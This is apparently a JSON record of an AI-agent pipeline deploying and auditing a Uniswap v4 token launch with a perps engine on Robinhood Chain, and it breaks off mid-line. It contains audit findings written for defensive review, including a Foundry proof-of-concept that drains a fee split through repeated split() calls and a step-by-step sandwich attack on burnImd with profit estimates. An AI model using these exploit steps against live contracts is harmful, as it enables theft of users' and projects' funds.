{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"4b952282-a03b-4d76-b0c6-8fc40a7a9a04","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"3ab619b1b7ffba3250e0dfb1dd52fd618609c073ad6807fe22a0804610144d8c","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","state":"failed"},{"acceptedSubmissionHash":"0736f8bf0c96236c8328f0c6085f369fec78ceec453ec898d5050f54ac755fa8","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"71f0b143ce7b40ad749f53cdd839f36eb941c0a8faf25518a8db4ca7dcf673bf","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"087e3d9f0ddbfc8904e6e87d57628bd392fecfad4543287a0fe03568029d6ac8","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":"185ea71989df4ef6ceae37d06d7a794fa2f51d005457744f6dae09e4b8a24132","dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"waiting"},{"acceptedSubmissionHash":"a7ba361bbc924674b2bca6e23c68c49af9e7aacaab044d19897592bfda5cdfde","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"deb9455c0f66521934cd84a653b97c84b949eac1ec0f1c2b489fd5911735600b","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"c4997ef9ea41e764797fa06c18f7d44cbd9f8c56f63038fd944abc031532fcac","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"waiting"},{"acceptedSubmissionHash":"0541423799bd86b2f657b0d01856de67e78f7d896a22bed6d8ec2d9823dab231","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"waiting"}],"objective":"Deploy IMD6900RobinhoodLaunch (src/IMD6900RobinhoodLaunch.sol) on Robinhood Chain exactly as it is in the repository: one contract, four constructor arguments in this order: 0x35da9c0303507ddf708e87f2568eddf12c47a059 (owner: the team wallet), 0x8366a39CC670B4001A1121B8F6A443A643e40951 (Uniswap v4's PoolManager on Robinhood Chain), 0x0000198C940D8cD70Cb9ACeC5E3af8216ac57d2F (Robinhood's IMDSTR, the old token that claims the new coin 1:1), 0x16D3f65B708883DF042d98E1C7a49B32A33E2A14 (the Robinhood timelock: owns the hook and recovers ETH). Its constructor creates IMD6900LockedPool and nothing else (no salt mining: about 6.9M gas from any deployer address). After the deploy, createHook(salt) (anyone, once) creates IMD6900Hook with CREATE2 from the launch at a salt mined off-chain for its address (script/launch.sh hook: its address carries exactly the hook's permission flags and doesn't start with 0x91; the hook is owned by the timelock); the team calls it, the deploy does not need to. The pool's fee is static: 4.44% (POOL_FEE 44_400), the same for every trade, so Uniswap's router routes the pool on its own (no dynamic fee, no return deltas); it accrues to the locked position, whose fees anyone can collect. A v4 pool's fee can't change, so IMD6900LockedPool.lowerFee (the timelock only, lower only) moves the whole position in one unlock to a new pool at the lower fee and the same price. It calls nothing that existed before it, so it deploys the same on a fresh chain (test_DeploysOnAFreshChain); it fits one transaction (test_FitsOneTransaction, ~6.9M gas, the same from any deployer); no contract shows CALLCODE, DELEGATECALL or SELFDESTRUCT, creation code included (test_PassesTheAdmissionScan). Later, its owner launches the coin IMD6900 at a 0x6900… address mined for this contract's address (launch(): the coin with CREATE2, the pool opened with the whole 1B supply as coin-only liquidity, locked for good, and the opening buy, in one transaction), through Programmable's custom launch, which binds every component to the exact source: do not change the source, the compiler settings (solc 0.8.26, via-IR, 200 runs, cancun, bytecode_hash none), the constructor, the hook's permissions, the 4.44% static fee and lowerFee's lower-only move (refused while the perps engine has positions open), the fee refund (IMD6900LockedPool.feeCheckpoint/feeRefund: only the hook's perps engine and the launch's sellHeld trade fee-free), the pool's lack of any liquidity removal (only lowerFee's move from one pool into the next), the coin's plain ERC20 (no owner, no mint, no tax) and launch()'s refusal of any coin address not starting with 0x6900, the fee split's defaults (90% the pot bridge, which feeds IMD6900's NFT floor pot on Ethereum; 10% $IMD bought for IMD's canonical Robinhood burn executor 0x4D6537ec564aFf82eABb1Ce5f355E817cBEA1e07, fixed in the code), the perps engine's fees (addPerpFees: all of it as ETH to the pot bridge), the split and every landing address being the timelock's alone to change (setPayees, setPerpFeeTo, setCoinFeeTo, setImdBurn, setImdPool), or the timelock's role (the hook's owner; it alone recovers ETH, releases the excess or sells the coins the launch holds back into the pool for the opening buy's ETH (sellHeld), ends the claims early (endClaims), repoints $IMD's pool and sets the split). The perps are part of this project and of every audit and test step: src/perps/PerpEngine.sol, PerpVault.sol and PerpSwapLib.sol (inlined, internal functions only: no DELEGATECALL anywhere, the engine under EIP-170 at about 24.4KB). They are not deployed with the launch (the engine's constructor binds to the live pool): IMD6900LockedPool.createPerps creates them right after launch() from exactly the code whose keccak256 is ENGINE_CODE_HASH / VAULT_CODE_HASH (test_ThePerpsCodeIsTheAuditedCode): any fix to src/perps must update those two constants, or the test fails; the engine stays owned by the Robinhood timelock and is wired into the hook at once (initPerpEngine), fee-free by refund; audit its no-bad-debt liquidation inside the hook's pre-trade sweep, the refund pair, the vault's accounting and the fee split (20% stakers, 10% insurance, 70% to the launch's addPerpFees). test/Perps.t.sol covers creation, longs, shorts, the sweep's liquidations and fees. test/RobinhoodFork.t.sol runs the whole launch on a Robinhood fork when ROBINHOOD_RPC_URL is set (claims, trades, buys through Uniswap's Universal Router, the fee split, the $IMD burn, the perps created and traded, a fee move to 3.33%) and skips otherwise. Everything builds offline (lib/ is vendored; v4-core's PoolManager is used by the tests only).","parentJobId":null,"planHash":"99396a0b8724ac395c474eed3c20b5dcb90783bc27c618f5800e7b201700b1ed","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"4b952282-a03b-4d76-b0c6-8fc40a7a9a04","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1597-imd6900robinhoodlaunch"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52550","feedbackHash":"488069f297eca72e0476d5a3cffd0f08c5d280861827453439b32af2333d2142","nodeKey":"adapt_contract_project","submissionHash":"416bffa0238edf6abc543b05998c8177f96fd500dc4f16044725cc3b39e361b7","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"51741","feedbackHash":"665d2ca85899f6436272bac4833945a009ec8d83fcbc4d40b2d908d2b5c2312b","nodeKey":"adapt_contract_project","submissionHash":"3ab619b1b7ffba3250e0dfb1dd52fd618609c073ad6807fe22a0804610144d8c","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50966","feedbackHash":"962137bd1a2cea7d41f657867daa3d34586bc219275692240b4ad89ab3cf7d61","nodeKey":"adapt_contract_project","submissionHash":"52f358403f979d564bfc3e137b23d454f4c6a5b4c16d8b600e417f12d8463bb3","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"51163","feedbackHash":"53d868f816fb20b23e4c2f74fa8e5de6bacb9d8ef15d6d812c964695a3aa4f07","nodeKey":"adapt_contract_project","submissionHash":"9a3752c760055bf385ceecab99c5dd85029724986ae34536e24ae4b1b0ef4b25","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"52618","feedbackHash":"ec60e72d946b08115dec4e2e3b831ba146d4d52ef39ed95839022ff686d2bb3e","nodeKey":"adapt_contract_project","submissionHash":"5792f5cc94438c065561517d7bfd9ad4bbdb7e05c60fc2db0484cd92efb37945","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"52611","feedbackHash":"7b8df9acfe7adb7ddc26957d67d34472e2527acf7b9fc859c6ad36267f0ad328","nodeKey":"audit_economics","submissionHash":"0736f8bf0c96236c8328f0c6085f369fec78ceec453ec898d5050f54ac755fa8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52479","feedbackHash":"f07b3d008791b5a8bc801dade1a9057405a567f4914d0462ea8ce078ed3a1b87","nodeKey":"audit_flow","submissionHash":"71f0b143ce7b40ad749f53cdd839f36eb941c0a8faf25518a8db4ca7dcf673bf","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52468","feedbackHash":"463c8fe8c3e95afaa151eb6bf1e1f33a3cb96dc238b9cbdc9202a5147179bf57","nodeKey":"audit_imported_code","submissionHash":"087e3d9f0ddbfc8904e6e87d57628bd392fecfad4543287a0fe03568029d6ac8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52205","feedbackHash":"cc4b032693150712d0c931c448ef835b2f1a481bfb6780ba5a61baeceea59bab","nodeKey":"audit_judge","submissionHash":"185ea71989df4ef6ceae37d06d7a794fa2f51d005457744f6dae09e4b8a24132","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52131","feedbackHash":"887540f941c8b169f18da74709348985841acdb62ca4e60bdd9e9776613b31ef","nodeKey":"audit_math","submissionHash":"a7ba361bbc924674b2bca6e23c68c49af9e7aacaab044d19897592bfda5cdfde","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52261","feedbackHash":"9c22a93bfb10be4e2f385edba9dc25e4565973066a476f65e7e2d44f592c743d","nodeKey":"audit_permissions","submissionHash":"deb9455c0f66521934cd84a653b97c84b949eac1ec0f1c2b489fd5911735600b","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52256","feedbackHash":"1391b7c44cad8b804f3e45e728e20e0d36062a190f3aff8081a6109c1c1c7aff","nodeKey":"manifest","submissionHash":"c4997ef9ea41e764797fa06c18f7d44cbd9f8c56f63038fd944abc031532fcac","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52660","feedbackHash":"b011aa7c33e9fe873238c8836bb162cda494d54035893877f0a82c7e356bba86","nodeKey":"write_foundry_tests","submissionHash":"0541423799bd86b2f657b0d01856de67e78f7d896a22bed6d8ec2d9823dab231","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"c47ce6b44ded4f379ab3ac6c7b163aee0b1fca4b86745708c8e53fb00d60d7a4","state":"blocked","submissions":[{"artifacts":[],"attempt":2,"bundleHash":"01ce5c45cbb4dea73b8badd013271d6cd6f8478ab511e5a812578ddc991e30c2","device":"1ec9f666356a7ad7","findings":[],"hash":"0541423799bd86b2f657b0d01856de67e78f7d896a22bed6d8ec2d9823dab231","nodeId":"abe74567-0d7e-4984-aa8f-4612305fa20c","outcome":"completed","summary":"All 77 tests pass, including the three new files. No defects were found that needed reporting, so no findings file was written.\n\n**What I added** (all under `test/`, nothing else touched):\n\n- **`test/LaunchInvariants.t.sol`**: a handler drives the launched system with bounded random calls from every role. Traders buy and sell, the three claimants claim with real Merkle proofs, the timelock sells and releases the held excess, ends claims, recovers ETH, resets payees and lowers the fee, the owner releases the unclaimed rest and IMDSTR, and strangers try to squat liquidity, forge claims or take a fee checkpoint. Seven invariants hold after every sequence: the launch holds every coin it owes, claims stay within the list and 1:1 against IMDSTR taken in, the coin's supply only falls and every coin sits with a known holder, the fee only moves down and the hook always serves the current pool, the locked position is the pool's whole liquidity and the PoolManager backs it, the $IMD bucket never exceeds the launch's balance, and every refusal the handler expects did happen.\n- **`test/PerpsInvariants.t.sol`**: a handler over the engine and vault as created by `createPerps`. Two traders open and close longs and shorts, anyone liquidates, a whale moves spot through the hook's sweeps, stakers enter and leave both vault sides, time passes. Invariants: the engine's ETH covers its full ledger including every open short's backing, its coins cover free inventory plus every long's size, the open-interest sums equal the book, no bad debt is ever recorded, the vault holds nothing itself, the locked liquidity and wiring are untouched, and a collect empties the locked pool's custody into the launch. The handler also checks that a fee move is refused while positions are open and that a healthy position is never liquidated.\n- **`test/Edges.t.sol`**: failure paths the existing suite lacked. Payee lists that are empty, nine long, mismatched, zero-addressed or short of 100%. A payee that rejects ETH leaves its share for the next split. A full recovery clamps the $IMD bucket and a partial one leaves it whole. IMDSTR and excess releases beyond what is held, a sale below its floor, perps opened with no value, 1x, 6x or dust collateral, a stranger's sweep, both renounce guards, and a born-liquidatable position refused.\n\n**Notes for the verifier**\n- Run counts are set with inline `forge-config` comments. No `vm.setEnv`, no ffi, no network, no changes to configuration.\n- One harness mistake was corrected rather than reported: my first \"locked pool holds no ETH\" invariant failed because `feeCheckpoint` legitimately parks the position's earned fees in the locked pool until the next collect, as the source documents. The replacement invariant checks that a collect pays that custody out in full.\n- The fork test still skips offline; the live Robinhood run remains owed as before.","treeHash":"6ead88b7a4381880fb3d7c8b3126b6d6c8a8f79c","usage":{"cachedInputTokens":2529145,"inputTokens":706,"model":"claude-fable-5-1","outputTokens":48911,"runtime":"claude","turns":38,"wallClockMs":1037693}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2a4ad9be53991100","findings":[{"citation":"resolved","description":"split() computes amount = balance - imdBucket and pays each payee pro rata; the burn executor's share is booked into imdBucket, and a payee whose call fails just leaves its ETH in the balance 'for the next split'. But the next split() recomputes amount from the same balance, so the refused share is split AGAIN: 10% of it is booked into imdBucket a second time, 90% is offered to the refusing payee again. split()/harvest() are permissionless, so while POT_BRIDGE (0xc39e...9EDd, an external bridge contract that can be paused, enforce a minimum, or revert plain ETH) refuses its share, anyone can call split() repeatedly and move geometrically all of the pot's 90% into imdBucket, where burnImd() (also permissionless, 0.1 ETH/s) spends it on $IMD for the burn executor. The launch's stated guarantee (90% of pool fees to IMD6900's NFT floor pot, 10% to the $IMD burn) is broken: the split drifts to 0% / 100%. The timelock's recoverEth() can only rescue what is still in the balance and cannot undo imdBucket already spent. Economics: with 10 ETH of fees and a refusing bridge, one split books 1 ETH to the burn; each further split books another 10% of the remaining 9 ETH; after 61 calls (a few seconds on Robinhood's blocks) 9.98 ETH is in imdBucket and the pot's share is 0.016 ETH. Fix: track the ETH already allocated to failed payees (e.g. an owed[payee] ledger retried on later splits, or exclude unpaid shares from the next amount), so a refused share is never re-split.","line":472,"path":"src/IMD6900RobinhoodLaunch.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\n\n/// A pot bridge that refuses plain ETH (paused bridge, minimum deposit, no receive()).\ncontract RefusingPot {\n    receive() external payable {\n        revert(\"paused\");\n    }\n}\n\ncontract MockImdstr {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// The fee split's 90% to the pot bridge is a guarantee of the launch. When the pot bridge refuses its share,\n/// split() leaves it in the balance (\"for the next split\") but the next split() re-splits that same ETH and books\n/// 10% of it into imdBucket again. Anyone can call split() repeatedly, so the pot's share migrates into the $IMD\n/// burn bucket and is spent by burnImd(): the pot can never get it back.\ncontract SplitDriftTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    address constant POT = 0xc39e650a24985C2bBA9FD83C81041B8f3E3f9EDd;\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(\n            payable(vm.deployCode(\"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\", abi.encode(OWNER, PM, address(new MockImdstr()), TL)))\n        );\n        L.createHook(_mineHook());\n        bytes32 salt = _mineCoin();\n        address expected = L.tokenAddress(salt);\n        uint160 price = uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether)));\n        vm.deal(OWNER, 1 ether);\n        vm.prank(OWNER);\n        L.launch{value: 1 ether}(salt, expected, price, 0, address(L));\n        // the pot bridge refuses ETH\n        vm.etch(POT, address(new RefusingPot()).code);\n    }\n\n    function test_FailedPotShareMigratesIntoTheImdBucket() public {\n        // 10 ETH of fees arrive\n        vm.deal(address(this), 10 ether);\n        L.addFees{value: 10 ether}();\n        // first split: 9 ETH to the pot (refused, stays here), 1 ETH to the $IMD bucket\n        L.split();\n        assertEq(L.imdBucket(), 1 ether);\n        assertEq(address(L).balance, 10 ether);\n        // anyone calls split() again: the pot's unpaid 9 ETH is split AGAIN, 0.9 ETH more to the $IMD bucket\n        for (uint256 i; i < 60; ++i) L.split();\n        uint256 potShareLeft = address(L).balance - L.imdBucket();\n        emit log_named_decimal_uint(\"pot's share still reserved for it\", potShareLeft, 18);\n        emit log_named_decimal_uint(\"imdBucket (spent by burnImd on $IMD)\", L.imdBucket(), 18);\n        // the pot's 9 ETH must stay the pot's: it never agreed to fund the $IMD burn\n        assertEq(potShareLeft, 9 ether, \"the pot bridge's refused share was re-split into the $IMD bucket\");\n    }\n\n    /*                               HELPERS                                */\n\n    function _mineHook() internal view returns (bytes32) {\n        bytes32 initHash = L.hookInitCodeHash();\n        uint160 flags = L.FLAGS();\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), initHash);\n        for (uint256 i;; ++i) {\n            address a = _at(pre, i);\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoin() internal view returns (bytes32) {\n        bytes32 initHash = L.tokenInitCodeHash();\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), initHash);\n        for (uint256 i;; ++i) {\n            if (uint160(_at(pre, i)) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _at(bytes memory pre, uint256 salt) internal pure returns (address a) {\n        assembly (\"memory-safe\") {\n            mstore(add(pre, 53), salt)\n            a := and(keccak256(add(pre, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}","reproduction":"State: launched (token != 0), POT_BRIDGE's receive() reverts (vm.etch a reverting contract at 0xc39e650a24985C2bBA9FD83C81041B8f3E3f9EDd). 1) addFees{value: 10 ether}(). 2) split(): imdBucket == 1 ether, balance == 10 ether (9 ETH unpaid to the pot, PayFailed emitted). 3) call split() 60 more times from any address. Expected: balance - imdBucket stays 9 ETH (the pot's share). Actual: balance - imdBucket == 0.016173 ETH and imdBucket == 9.9838 ETH; burnImd() then spends it on $IMD. Test: test/scratch/SplitDrift.t.sol::test_FailedPotShareMigratesIntoTheImdBucket fails with 16173092699229886 != 9000000000000000000.","severity":"medium","snippet":"            (bool ok,) = to[i].call{value: part}(\"\");\n            if (!ok) emit PayFailed(to[i], part);","title":"split() re-splits a refused payee's share on every call, migrating the pot bridge's 90% into the $IMD burn bucket"},{"citation":"resolved","description":"burnImd is callable by anyone and the slippage floor is the caller's own argument, so the protection is void: an attacker calls burnImd(0) themselves inside a sandwich on the $IMD pool (ETH/$IMD, 1% fee, no hook by default): buy $IMD with a ETH, burnImd(0) spends up to 0.1 ETH of the bucket at the inflated price, sell back. The $IMD delivered to the burn executor shrinks by the slippage the attacker captured. The IMD_BUY_MAX / 1-second throttle bounds each sandwich to 0.1 ETH of victim size but does not stop it; the bucket is drained one tick at a time. Economics (constant product, pool ETH depth E, attacker size a, 1% fee each way): attacker gain ~ 0.1*(1 - E^2/(E+a)^2) - 0.02a. With E = 1 ETH, a = 1 ETH: gain 0.075 - 0.02 = +0.055 ETH per call, i.e. 55% of every burn tranche lands with the attacker instead of the burn; with E = 10 ETH the best a gives 0.1*(1-100/144) - 0.04 < 0, so the attack needs a shallow $IMD pool (roughly E <= 2.5 ETH). Fix: derive the floor on-chain (e.g. a TWAP of the $IMD pool, or a timelock-set min $IMD per ETH), or restrict burnImd to a keeper.","line":481,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: launched, imdBucket >= 0.1 ether, $IMD pool at imdPoolKey() with ~1 ETH of active depth. Attacker tx bundle (same block): 1) swap 1 ETH -> $IMD on the $IMD pool; 2) L.burnImd(0): spends 0.1 ETH at a price ~4x the fair one, the burn executor receives ~25% of the $IMD it would have at fair price; 3) sell the $IMD back. Expected: the burn receives ~0.1 ETH worth of $IMD (minus the pool fee). Actual: ~0.025 ETH worth; attacker nets ~0.055 ETH after 2% round-trip fees, repeatable every second until imdBucket is empty.","severity":"low","snippet":"    function burnImd(uint256 minImd) external nonReentrant returns (uint256 imd) {\n        uint256 spend = imdBucket < IMD_BUY_MAX ? imdBucket : IMD_BUY_MAX;","title":"burnImd()'s only price floor is the caller's minImd: anyone passes 0, so the $IMD buy is sandwichable at 0.1 ETH per second"},{"citation":"resolved","description":"burnImd() reduces imdBucket by `spend` before the swap, but the swap in unlockCallback (what == 1) is an exact-input swap with sqrtPriceLimit MIN_SQRT_PRICE + 1 that settles only `ethIn = -d.amount0()`, which is less than `spend` when the $IMD pool's liquidity in range is exhausted (a pool whose active range ends, or one with less than 0.1 ETH of depth). The difference stays in the launch's balance with no bucket covering it, so the next split() counts it in `amount = balance - imdBucket` and sends 90% of it to the pot bridge. ETH set aside for the $IMD burn is thereby paid to the pot (the direction opposite to finding 1). Fix: return ethIn from the callback and debit imdBucket by ethIn (or refund spend - ethIn to imdBucket).","line":486,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: launched, imdBucket = 0.1 ether, the $IMD pool (imdPoolKey()) has liquidity worth only 0.03 ETH of input before the price reaches its range end / MIN_SQRT_PRICE. 1) burnImd(0): the swap consumes ethIn = 0.03 ETH, settle{value: 0.03 ETH}; imdBucket becomes 0, 0.07 ETH stays in the balance. 2) split(): amount = balance - imdBucket includes the 0.07 ETH; 0.063 ETH goes to the pot bridge, 0.007 ETH back to imdBucket. Expected: the 0.07 ETH stays reserved for the $IMD burn (imdBucket = 0.07). Actual: 90% of it leaves to the pot.","severity":"low","snippet":"        imdBucket -= spend;","title":"burnImd debits imdBucket by the full spend even when the $IMD pool fills only part of it; the unspent ETH is re-split to the pot"}],"hash":"0736f8bf0c96236c8328f0c6085f369fec78ceec453ec898d5050f54ac755fa8","nodeId":"4ef931cd-a805-41d3-985e-50f1ce75d627","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds three findings and a 100-row coverage record, and no repository file was changed.\n\n**Findings**\n\n- **Medium, with proof.** `split()` in `IMD6900RobinhoodLaunch` re-splits a refused payee's share on every call. When the pot bridge refuses ETH, each permissionless `split()` books another 10% of the pot's unpaid 90% into the $IMD burn bucket. With 10 ETH of fees and a reverting bridge, 61 calls leave 0.016 ETH for the pot and 9.98 ETH for `burnImd` to spend. The proof test in `test/scratch/SplitDrift.t.sol` fails on the current code with that exact number.\n- **Low.** `burnImd` takes its only price floor from the caller, so anyone passes zero and sandwiches the 0.1 ETH buy themselves. It pays off only when the $IMD pool holds roughly 2.5 ETH of depth or less, which is why it is graded low.\n- **Low.** `burnImd` debits the bucket by the full spend even when the $IMD pool fills only part of it. The unspent ETH is then re-split, sending 90% of burn money to the pot.\n\n**Coverage**\n\n95 entry points hold, 4 carry findings, and 1 is unreached. The unreached one is `sweepLiquidations`: I traced its control flow and the checkpoint/refund nesting, but did not simulate the numeric no-bad-debt reserve bound against unswept engine-own opens and closes. That is the main gap in the economics area and the place a judge should look next.\n\n**Verified clean in this area**\n\nThe 20/10/70 perps fee split, the vault's ETH and token conservation across opens, closes, partial short rebooks and funding, the refund pair's transient-slot nesting inside a user's swap, and `lowerFee`'s move all behave as specified. The shipped `test/Perps.t.sol` suite passes on this build.","treeHash":null,"usage":{"cachedInputTokens":3022220,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":55532,"runtime":"claude","turns":34,"wallClockMs":867531}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"c9743cd9807c4c3a","findings":[{"citation":"resolved","description":"IMD6900LockedPool.createPerps only creates an engine whose creation code hashes to ENGINE_CODE_HASH. Built with this repository's exact settings (solc 0.8.26+commit.8a97fa7a, via-IR, 200 runs, cancun, bytecode_hash none; forge 1.8.3), src/perps/PerpEngine.sol's creation code is 25,804 bytes and hashes to 0x136b10b3b461616f618358a9d4ad7fff26b80ac920c5d8092be808bdb60c0651, which is the value the constant held BEFORE commit 827c1d0 replaced it with 0x3ce566f9... (the PerpVault hash 0x20845fd7... does match the build). test_ThePerpsCodeIsTheAuditedCode and the whole test/Perps.t.sol suite therefore fail in setUp with NotThePerpsCode(), and on chain the perps could never be created from the audited source: the constant is baked into the locked pool that the launch's constructor creates, so the only engine createPerps would ever accept is whatever unknown bytecode hashes to 0x3ce566f9... (if any), not the code that was audited. Either the constant must be the build's hash, or the build is not reproducible, and both block the launch's perps.","line":69,"path":"src/IMD6900LockedPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IMD6900LockedPool} from \"src/IMD6900LockedPool.sol\";\n\n/// Finding: IMD6900LockedPool.ENGINE_CODE_HASH is not the keccak256 of the PerpEngine creation code this repository\n/// builds (solc 0.8.26, via-IR, 200 runs, cancun, bytecode_hash none). createPerps therefore refuses the audited\n/// engine with NotThePerpsCode, so the perps can never be created from this source (the constant is fixed in the\n/// locked pool the launch's constructor creates). Fails until the constant equals the build's hash.\ncontract PerpsCodeHashTest is Test {\n    function test_TheEngineHashIsTheBuildsHash() public {\n        IMD6900LockedPool p = new IMD6900LockedPool(IPoolManager(address(0xBEEF)), 44_400, address(this), address(0x71E10C));\n        bytes memory engine = vm.getCode(\"PerpEngine.sol:PerpEngine\");\n        bytes memory vault = vm.getCode(\"PerpVault.sol:PerpVault\");\n        emit log_named_bytes32(\"built engine creation code hash\", keccak256(engine));\n        emit 